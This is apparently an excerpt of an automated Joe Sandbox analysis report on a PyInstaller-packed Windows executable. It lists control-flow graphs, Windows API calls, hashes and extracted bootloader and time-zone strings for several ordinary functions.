233->238 234->233 251 7ff7fd733e1b-7ff7fd733e21 237->251 252 7ff7fd733e32-7ff7fd733e3c call 7ff7fd744fa0 237->252 240 7ff7fd733f0e-7ff7fd733f15 238->240 241 7ff7fd733ffc-7ff7fd734004 238->241 240->241 245 7ff7fd733f1b-7ff7fd733f25 call 7ff7fd7333c0 240->245 246 7ff7fd734029-7ff7fd73405b call 7ff7fd7336a0 call 7ff7fd733360 call 7ff7fd733670 call 7ff7fd736fb0 call 7ff7fd736d60 241->246 247 7ff7fd734006-7ff7fd734023 PostMessageW GetMessageW 241->247 245->225 258 7ff7fd733f2b-7ff7fd733f3f call 7ff7fd7390c0 245->258 247->246 255 7ff7fd733e2d-7ff7fd733e2f 251->255 256 7ff7fd733e23-7ff7fd733e2b 251->256 261 7ff7fd733ef2-7ff7fd733efc call 7ff7fd738b30 252->261 262 7ff7fd733e42-7ff7fd733e48 252->262 255->252 256->255 271 7ff7fd733f41-7ff7fd733f5e PostMessageW GetMessageW 258->271 272 7ff7fd733f64-7ff7fd733fa0 call 7ff7fd738b30 call 7ff7fd738bd0 call 7ff7fd736fb0 call 7ff7fd736d60 call 7ff7fd738ad0 258->272 261->238 262->261 266 7ff7fd733e4e-7ff7fd733e54 262->266 269 7ff7fd733e5f-7ff7fd733e61 266->269 270 7ff7fd733e56-7ff7fd733e58 266->270 269->238 275 7ff7fd733e67-7ff7fd733e83 call 7ff7fd736db0 call 7ff7fd737330 269->275 274 7ff7fd733e5a 270->274 270->275 271->272 306 7ff7fd733fa5-7ff7fd733fa7 272->306 274->238 290 7ff7fd733e8e-7ff7fd733e95 275->290 291 7ff7fd733e85-7ff7fd733e8c 275->291 294 7ff7fd733e97-7ff7fd733ea4 call 7ff7fd736df0 290->294 295 7ff7fd733eaf-7ff7fd733eb9 call 7ff7fd7371a0 290->295 293 7ff7fd733edb-7ff7fd733ef0 call 7ff7fd732a50 call 7ff7fd736fb0 call 7ff7fd736d60 291->293 293->238 294->295 308 7ff7fd733ea6-7ff7fd733ead 294->308 304 7ff7fd733ebb-7ff7fd733ec2 295->304 305 7ff7fd733ec4-7ff7fd733ed2 call 7ff7fd7374e0 295->305 304->293 305->238 318 7ff7fd733ed4 305->318 310 7ff7fd733fe9-7ff7fd733ff7 call 7ff7fd731900 306->310 311 7ff7fd733fa9-7ff7fd733fb3 call 7ff7fd739200 306->311 308->293 310->225 311->310 321 7ff7fd733fb5-7ff7fd733fca 311->321 318->293 322 7ff7fd733fcc-7ff7fd733fdf call 7ff7fd732710 call 7ff7fd731900 321->322 323 7ff7fd733fe4 call 7ff7fd732a50 321->323 322->225 323->310
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileLastModuleName
                                                                                                                                                                                                                                              • String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
                                                                                                                                                                                                                                              • API String ID: 2776309574-4232158417
                                                                                                                                                                                                                                              • Opcode ID: 0e0501ae70892a156c6bad2bbe0f38e510e31de69640afa6e057b4f1f9e113f0
                                                                                                                                                                                                                                              • Instruction ID: 3cb1ba7aae3b474ddee403b4c47d8a7268c03a2eb9ef22f408a64b9ada84eeae
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0e0501ae70892a156c6bad2bbe0f38e510e31de69640afa6e057b4f1f9e113f0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 45328C22A0C68291FB25BB2594543B9E391AF4C780FC44036DA6D4B2D6FFACE554E3F1
                                                                                                                                                                                                                                              Function 00007FF7FD755C70 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 477 7ff7fd755c70-7ff7fd755cab call 7ff7fd7555f8 call 7ff7fd755600 call 7ff7fd755668 484 7ff7fd755ed5-7ff7fd755f21 call 7ff7fd74a970 call 7ff7fd7555f8 call 7ff7fd755600 call 7ff7fd755668 477->484 485 7ff7fd755cb1-7ff7fd755cbc call 7ff7fd755608 477->485 512 7ff7fd755f27-7ff7fd755f32 call 7ff7fd755608 484->512 513 7ff7fd75605f-7ff7fd7560cd call 7ff7fd74a970 call 7ff7fd7515e8 484->513 485->484 490 7ff7fd755cc2-7ff7fd755ccc 485->490 493 7ff7fd755cee-7ff7fd755cf2 490->493 494 7ff7fd755cce-7ff7fd755cd1 490->494 497 7ff7fd755cf5-7ff7fd755cfd 493->497 496 7ff7fd755cd4-7ff7fd755cdf 494->496 499 7ff7fd755cea-7ff7fd755cec 496->499 500 7ff7fd755ce1-7ff7fd755ce8 496->500 497->497 501 7ff7fd755cff-7ff7fd755d12 call 7ff7fd74d66c 497->501 499->493 503 7ff7fd755d1b-7ff7fd755d29 499->503 500->496 500->499 507 7ff7fd755d2a-7ff7fd755d36 call 7ff7fd74a9b8 501->507 508 7ff7fd755d14-7ff7fd755d16 call 7ff7fd74a9b8 501->508 518 7ff7fd755d3d-7ff7fd755d45 507->518 508->503 512->513 522 7ff7fd755f38-7ff7fd755f43 call 7ff7fd755638 512->522 530 7ff7fd7560db-7ff7fd7560de 513->530 531 7ff7fd7560cf-7ff7fd7560d6 513->531 518->518 521 7ff7fd755d47-7ff7fd755d58 call 7ff7fd7504e4 518->521 521->484 532 7ff7fd755d5e-7ff7fd755db4 call 7ff7fd75a540 * 4 call 7ff7fd755b8c 521->532 522->513 529 7ff7fd755f49-7ff7fd755f6c call 7ff7fd74a9b8 GetTimeZoneInformation 522->529 543 7ff7fd756034-7ff7fd75605e call 7ff7fd7555f0 call 7ff7fd7555e0 call 7ff7fd7555e8 529->543 544 7ff7fd755f72-7ff7fd755f93 529->544 534 7ff7fd756115-7ff7fd756128 call 7ff7fd74d66c 530->534 535 7ff7fd7560e0 530->535 536 7ff7fd75616b-7ff7fd75616e 531->536 589 7ff7fd755db6-7ff7fd755dba 532->589 554 7ff7fd75612a 534->554 555 7ff7fd756133-7ff7fd75614e call 7ff7fd7515e8 534->555 539 7ff7fd7560e3 535->539 536->539 541 7ff7fd756174-7ff7fd75617c call 7ff7fd755c70 536->541 545 7ff7fd7560e8-7ff7fd756114 call 7ff7fd74a9b8 call 7ff7fd73c5c0 539->545 546 7ff7fd7560e3 call 7ff7fd755eec 539->546 541->545 550 7ff7fd755f9e-7ff7fd755fa5 544->550 551 7ff7fd755f95-7ff7fd755f9b 544->551 546->545 560 7ff7fd755fa7-7ff7fd755faf 550->560 561 7ff7fd755fb9 550->561 551->550 564 7ff7fd75612c-7ff7fd756131 call 7ff7fd74a9b8 554->564 574 7ff7fd756155-7ff7fd756167 call 7ff7fd74a9b8 555->574 575 7ff7fd756150-7ff7fd756153 555->575 560->561 569 7ff7fd755fb1-7ff7fd755fb7 560->569 567 7ff7fd755fbb-7ff7fd75602f call 7ff7fd75a540 * 4 call 7ff7fd752bcc call 7ff7fd756184 * 2 561->567 564->535 567->543 569->567 574->536 575->564 592 7ff7fd755dbc 589->592 593 7ff7fd755dc0-7ff7fd755dc4 589->593 592->593 593->589 595 7ff7fd755dc6-7ff7fd755deb call 7ff7fd746bc8 593->595 601 7ff7fd755dee-7ff7fd755df2 595->601 603 7ff7fd755df4-7ff7fd755dff 601->603 604 7ff7fd755e01-7ff7fd755e05 601->604 603->604 606 7ff7fd755e07-7ff7fd755e0b 603->606 604->601 607 7ff7fd755e8c-7ff7fd755e90 606->607 608 7ff7fd755e0d-7ff7fd755e35 call 7ff7fd746bc8 606->608 611 7ff7fd755e97-7ff7fd755ea4 607->611 612 7ff7fd755e92-7ff7fd755e94 607->612 617 7ff7fd755e37 608->617 618 7ff7fd755e53-7ff7fd755e57 608->618 613 7ff7fd755ea6-7ff7fd755ebc call 7ff7fd755b8c 611->613 614 7ff7fd755ebf-7ff7fd755ece call 7ff7fd7555f0 call 7ff7fd7555e0 611->614 612->611 613->614 614->484 621 7ff7fd755e3a-7ff7fd755e41 617->621 618->607 623 7ff7fd755e59-7ff7fd755e77 call 7ff7fd746bc8 618->623 621->618 624 7ff7fd755e43-7ff7fd755e51 621->624 629 7ff7fd755e83-7ff7fd755e8a 623->629 624->618 624->621 629->607 630 7ff7fd755e79-7ff7fd755e7d 629->630 630->607 631 7ff7fd755e7f 630->631 631->629
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755CB5
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD755608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD75561C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9CE
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9D8
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7FD74A94F,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74A979
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7FD74A94F,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74A99E
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755CA4
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD755668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD75567C
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755F1A
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755F2B
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755F3C
                                                                                                                                                                                                                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FD75617C), ref: 00007FF7FD755F63
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                                                                                                                                                                                                              • String ID: Eastern Standard Time$Eastern Summer Time
                                                                                                                                                                                                                                              • API String ID: 4070488512-239921721
                                                                                                                                                                                                                                              • Opcode ID: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
                                                                                                                                                                                                                                              • Instruction ID: 9c7a1cef631207d6d06aa64d3ae2c9a64728cbb81b8a47acfff759ac00d5987b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 39D1CF2AA1C24286E721FF2194416B9A361EF4C794FD0813AEA2D4F6D5FE3CE44187F1
                                                                                                                                                                                                                                              Function 00007FF7FD7569D4 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 691 7ff7fd7569d4-7ff7fd756a47 call 7ff7fd756708 694 7ff7fd756a49-7ff7fd756a52 call 7ff7fd744f58 691->694 695 7ff7fd756a61-7ff7fd756a6b call 7ff7fd748590 691->695 700 7ff7fd756a55-7ff7fd756a5c call 7ff7fd744f78 694->700 701 7ff7fd756a6d-7ff7fd756a84 call 7ff7fd744f58 call 7ff7fd744f78 695->701 702 7ff7fd756a86-7ff7fd756aef CreateFileW 695->702 714 7ff7fd756da2-7ff7fd756dc2 700->714 701->700 705 7ff7fd756b6c-7ff7fd756b77 GetFileType 702->705 706 7ff7fd756af1-7ff7fd756af7 702->706 708 7ff7fd756b79-7ff7fd756bb4 GetLastError call 7ff7fd744eec CloseHandle 705->708 709 7ff7fd756bca-7ff7fd756bd1 705->709 711 7ff7fd756b39-7ff7fd756b67 GetLastError call 7ff7fd744eec 706->711 712 7ff7fd756af9-7ff7fd756afd 706->712 708->700 725 7ff7fd756bba-7ff7fd756bc5 call 7ff7fd744f78 708->725 717 7ff7fd756bd9-7ff7fd756bdc 709->717 718 7ff7fd756bd3-7ff7fd756bd7 709->718 711->700 712->711 719 7ff7fd756aff-7ff7fd756b37 CreateFileW 712->719 723 7ff7fd756be2-7ff7fd756c37 call 7ff7fd7484a8 717->723 724 7ff7fd756bde 717->724 718->723 719->705 719->711 729 7ff7fd756c39-7ff7fd756c45 call 7ff7fd756910 723->729 730 7ff7fd756c56-7ff7fd756c87 call 7ff7fd756488 723->730 724->723 725->700 729->730 736 7ff7fd756c47 729->736 737 7ff7fd756c8d-7ff7fd756ccf 730->737 738 7ff7fd756c89-7ff7fd756c8b 730->738 739 7ff7fd756c49-7ff7fd756c51 call 7ff7fd74ab30 736->739 740 7ff7fd756cf1-7ff7fd756cfc 737->740 741 7ff7fd756cd1-7ff7fd756cd5 737->741 738->739 739->714 742 7ff7fd756da0 740->742 743 7ff7fd756d02-7ff7fd756d06 740->743 741->740 745 7ff7fd756cd7-7ff7fd756cec 741->745 742->714 743->742 746 7ff7fd756d0c-7ff7fd756d51 CloseHandle CreateFileW 743->746 745->740 748 7ff7fd756d53-7ff7fd756d81 GetLastError call 7ff7fd744eec call 7ff7fd7486d0 746->748 749 7ff7fd756d86-7ff7fd756d9b 746->749 748->749 749->742
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1617910340-0
                                                                                                                                                                                                                                              • Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                              • Instruction ID: a6bbff4bc43bdbfaded86996932570d60840d051a9d39eee5161db0844443191
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 79C1CF32B2CA4185EB50EF65C4902AD7761FB4DB98B914235DE2E5B7D4EF38E051C3A0
                                                                                                                                                                                                                                              Function 00007FF7FD7383B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FindFirstFileW.KERNELBASE(?,00007FF7FD738B09,00007FF7FD733FA5), ref: 00007FF7FD73841B
                                                                                                                                                                                                                                              • RemoveDirectoryW.KERNEL32(?,00007FF7FD738B09,00007FF7FD733FA5), ref: 00007FF7FD73849E
                                                                                                                                                                                                                                              • DeleteFileW.KERNELBASE(?,00007FF7FD738B09,00007FF7FD733FA5), ref: 00007FF7FD7384BD
                                                                                                                                                                                                                                              • FindNextFileW.KERNELBASE(?,00007FF7FD738B09,00007FF7FD733FA5), ref: 00007FF7FD7384CB
                                                                                                                                                                                                                                              • FindClose.KERNELBASE(?,00007FF7FD738B09,00007FF7FD733FA5), ref: 00007FF7FD7384DC
                                                                                                                                                                                                                                              • RemoveDirectoryW.KERNELBASE(?,00007FF7FD738B09,00007FF7FD733FA5), ref: 00007FF7FD7384E5
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
                                                                                                                                                                                                                                              • String ID: %s\*
                                                                                                                                                                                                                                              • API String ID: 1057558799-766152087
                                                                                                                                                                                                                                              • Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
                                                                                                                                                                                                                                              • Instruction ID: 0f7013bda73de0f04a59b17b7a0aa9f22a8e3f4f9916f8f951e32b70bb5ae5ef
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6F417F21A0C94295EB60AF64E4842B9E360FB9C750FC00232D9AD4AAC4FF7DD54A97F0
                                                                                                                                                                                                                                              Function 00007FF7FD755EEC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 1012 7ff7fd755eec-7ff7fd755f21 call 7ff7fd7555f8 call 7ff7fd755600 call 7ff7fd755668 1019 7ff7fd755f27-7ff7fd755f32 call 7ff7fd755608 1012->1019 1020 7ff7fd75605f-7ff7fd7560cd call 7ff7fd74a970 call 7ff7fd7515e8 1012->1020 1019->1020 1026 7ff7fd755f38-7ff7fd755f43 call 7ff7fd755638 1019->1026 1032 7ff7fd7560db-7ff7fd7560de 1020->1032 1033 7ff7fd7560cf-7ff7fd7560d6 1020->1033 1026->1020 1031 7ff7fd755f49-7ff7fd755f6c call 7ff7fd74a9b8 GetTimeZoneInformation 1026->1031 1042 7ff7fd756034-7ff7fd75605e call 7ff7fd7555f0 call 7ff7fd7555e0 call 7ff7fd7555e8 1031->1042 1043 7ff7fd755f72-7ff7fd755f93 1031->1043 1035 7ff7fd756115-7ff7fd756128 call 7ff7fd74d66c 1032->1035 1036 7ff7fd7560e0 1032->1036 1037 7ff7fd75616b-7ff7fd75616e 1033->1037 1052 7ff7fd75612a 1035->1052 1053 7ff7fd756133-7ff7fd75614e call 7ff7fd7515e8 1035->1053 1039 7ff7fd7560e3 1036->1039 1037->1039 1041 7ff7fd756174-7ff7fd75617c call 7ff7fd755c70 1037->1041 1044 7ff7fd7560e8-7ff7fd756114 call 7ff7fd74a9b8 call 7ff7fd73c5c0 1039->1044 1045 7ff7fd7560e3 call 7ff7fd755eec 1039->1045 1041->1044 1048 7ff7fd755f9e-7ff7fd755fa5 1043->1048 1049 7ff7fd755f95-7ff7fd755f9b 1043->1049 1045->1044 1056 7ff7fd755fa7-7ff7fd755faf 1048->1056 1057 7ff7fd755fb9 1048->1057 1049->1048 1060 7ff7fd75612c-7ff7fd756131 call 7ff7fd74a9b8 1052->1060 1068 7ff7fd756155-7ff7fd756167 call 7ff7fd74a9b8 1053->1068 1069 7ff7fd756150-7ff7fd756153 1053->1069 1056->1057 1064 7ff7fd755fb1-7ff7fd755fb7 1056->1064 1062 7ff7fd755fbb-7ff7fd75602f call 7ff7fd75a540 * 4 call 7ff7fd752bcc call 7ff7fd756184 * 2 1057->1062 1060->1036 1062->1042 1064->1062 1068->1037 1069->1060
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755F1A
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD755668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD75567C
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755F2B
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD755608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD75561C
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7FD755F3C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD755638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD75564C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9CE
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9D8
                                                                                                                                                                                                                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FD75617C), ref: 00007FF7FD755F63
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                                                                                              • String ID: Eastern Standard Time$Eastern Summer Time
                                                                                                                                                                                                                                              • API String ID: 3458911817-239921721
                                                                                                                                                                                                                                              • Opcode ID: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
                                                                                                                                                                                                                                              • Instruction ID: 392666dd686b317978e0d26ffc99365ea9e33a1b410e4e3c0869f265d415d51d
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C2514E26A1C64286E720FF21D8816A9E761BB4C784FC48535EA6D4B6D6FF3CE44087F1
                                                                                                                                                                                                                                              Function 00007FF7FD7392F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
